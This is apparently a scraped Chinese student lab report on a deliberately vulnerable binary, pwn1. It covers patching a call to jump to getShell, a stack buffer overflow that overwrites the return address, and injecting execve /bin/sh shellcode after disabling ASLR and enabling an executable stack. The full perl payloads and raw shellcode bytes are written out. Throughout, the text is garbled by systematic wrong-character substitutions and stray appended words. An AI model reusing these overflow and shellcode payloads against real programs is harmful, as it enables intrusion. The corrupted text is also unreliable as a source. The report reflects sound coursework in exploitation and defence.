实验目标:linux
本次实践的对象是一个名为pwn1的linux可执行文件。shell
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。编程
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。sass
本次实践的目标就是经过学习用两种方法运行这个代码片断。而后学习如何注入并容许任何shellcode。网络
实验内容:数据结构
1)手工修改可执行文件,改变程序执行流程,直接跳转到getshell。dom
2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getshell函数编辑器
3)注入一个本身制做的shellcode并运行这段shellcode。函数
1、须要掌握的:学习
1.NOP, JNE, JE, JMP, CMP汇编指令的机器码
查阅资料可知:
NOP指令:“no operation”。执行到NOP指令时,cpu仅仅继续执行NOP后面的一条指令。
JNE指令:“Jump Not Equal”,若是不相等则跳转。
JE指令:条件转移指令,若是相等则跳转。
JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也能够在寄存器中给出,或在存储器中指出。
CMP指令:比较指令,功能至关于减法指令,只是对操做数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其余相关指令经过识别这些被影响的标志寄存器位来得知比较结果。
2.反汇编和16进制编辑器
反汇编指令
objdump
利用指令:man objdump能够了解相关参数极其含义,如图:
十六进制编程器相关指令:
:%!xxd
:%!xxd 指的是在vi编辑器中显示的文件在输入该指令后会以十六进制的形式显示。
:%!xxd -r 指的是将上述转化为十六进制的信息再转换会二进制。
实验一:手动修改机器指令
1.使用objdump -d 20164311对20164311进行反汇编
能够看到,程序在80484b5这个位置调用了foo函数。
机器指令中e8对应跳转 能够在其余函数中相同指令call位置中,对应找到机器指令的开头都为e8。
机器执行下一条指令的地址都保存在eip寄存器中,若是没有调用函数那么eip寄存器中的值应该为下一条指令的地址,若是调用了函数则eip寄存器中的值应该修改:(为下一条指令的地址+e8以后的值)。
因此根据上述条件,咱们能够用16进制计算器去验证。
即:eip + d7ffffff = 80484ba-0x29 = 8048491
已知 getShell 函数位于 804847d。
即:d7fffff 应该被修改的值=0x7d - 0xba = -0x3d = 0xc3(补码转换)
而后利用 vi 编辑器 使用命令:%!xxd 以利于观看的十六进制显示方式,再用/e8 d7命令找到所在位置,修改文件20164311内的值。
再次反汇编查看更改是否正确
确认正确后并运行。
实验二:经过构造输入参数,形成BOF攻击,改变程序的执行流
使用指令:
objdump -d 20164311 | more
观察foo函数能够看到:存在一段功能为读入和输出的语句。
但实际上,foo函数只给这段字符串预留了一个28字节的缓冲区(即0x1c),也就是说存在所谓的 Buffer overflow 漏洞。
根据上课所讲:堆栈中程序执行的方向上,被调用函数所分配的空间后面应当是,以前edp寄存器中的值,便是一个地址。
从左侧能够观察到,地址是4个字节 故咱们有理由推测:为了修改返回地址,咱们应当把想要修改的地址放在一个字符串中的第33个字节到36个字节的位置。
而33字节以前的字节能够填充任意的字符。
为此咱们须要经过调试确认一下推理是否正确,以及:所肯定四字节地址在输入时的摆放顺序。
固然做为攻击者的咱们在实际攻击中并不可能经过反汇编来确认要攻击机器的地址位数,咱们只知道缓冲区只有28字节,存在漏洞。
因此咱们要先肯定机器的地址位数。
而后确认咱们输入的顺序
由此能够看出,发生了段错误,而且33到36字节被某些字符覆盖。
固然,对于攻击者,咱们必须输入某些长度的字符去猜想被攻击机的地址长度,因为地址长度是极其有限的几个数的任意一个,故作到这一点并不麻烦。
根据咱们输入字符的顺序是1234 而被覆盖的地址的顺序是4321。
故为使返回地址指向 0804847d 处的 getShell 函数,须要构造字符串:11111111222222223333333344444444\x7d\x84\x04\x08。
又因为咱们无法用键盘输入这样的16进制 因此咱们使用如下指令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 164311
生成一个包含这些16进制内容的文件
验证如下内容是否正确:
而后利用管道 | 将上一条指令的输出 做为下一条指令的输入
实验三:注入shellcode并执行
此实验中,咱们使用老师已经为咱们准备好的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
首先,修改相关配置
root@164311:~# execstack -s 20164311 //设置堆栈可执行
root@164311:~# execstack -q 20164311 //查询文件的堆栈是否可执行
X 201664311 root@164311:~# more /proc/sys/kernel/randomize_va_space 2 root@164311:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@164311:~# more /proc/sys/kernel/randomize_va_space 0 root@164311:~#
注入一段代码,咱们使用如下指令构造一个input_shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 164311
在该窗口运行指令
(cat 164311;cat) | ./20164311
打开一个新的窗口,输入指令查询当前运行的20164311的进程号
ps -ef | grep 20164311
使用如下指令进行调试
attach 3572 disassemble foo break *0x080484ae c
查看esp寄存器的地址
info r esp
以16进制形式查看0xffffd37c地址后面16字节的内容
x/16x 0xffffd37c
从上图可知,要注入的shellcode代码应该在ret指令地址后四个字节的位置,即0xffffd37c + 0x00000004 = 0xffffd380,而后退出gdb
修改注入代码
perl -e 'print "A" x 32;print"\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' >164311
输入命令
(cat 164311;cat) | ./20164311
遇到的问题及解决方法
问题:当时在作第二个小实验进行调试的时候,输入字符串出现了异常的显示
解决办法:作实验必定要备份。由于首先网络攻防的命令较长,咱们不能保证每次都输入的是对的,仅仅在vi编辑器内,没有将十六进制的文件转换会二进制就会发生文件损坏,因而可知备份文件是多么重要,然而基于这个问题,也是省略了备份文件步骤而形成的错误,直接在源文件内进行修改,因此形成完成实验一后没法正常完成实验二。
实验收获和感想
收获:每次作这个实验的时候,我都会想起老师第一节课说:一台电脑放在这里,你是否知道他在干什么。这个实验让我从更加底层的角度理解了漏洞能够如何被利用,再次以前,我还记得我在学c语言的时候,经常不会去考虑越界错误,也经常不想去作边界测试,但此次试验以后,我明白了任何一个程序均可能有漏洞,咱们必定要经过学习网络攻防了解如何发现漏洞,以及利用堆栈结构形成溢出,修改返回地址的底层原理,这样才能作到更好的防患于未然。
什么是漏洞?漏洞的危害
我认为漏洞就是在编程的时候,因为程序中的数据结构存在必定的限制,或出于偶然或出于必然,从而致使计算机能够被攻击的一个缺陷
而漏洞的危害天然是会致使本身的计算机被攻击,影响正常的使用以及形成数据的泄露。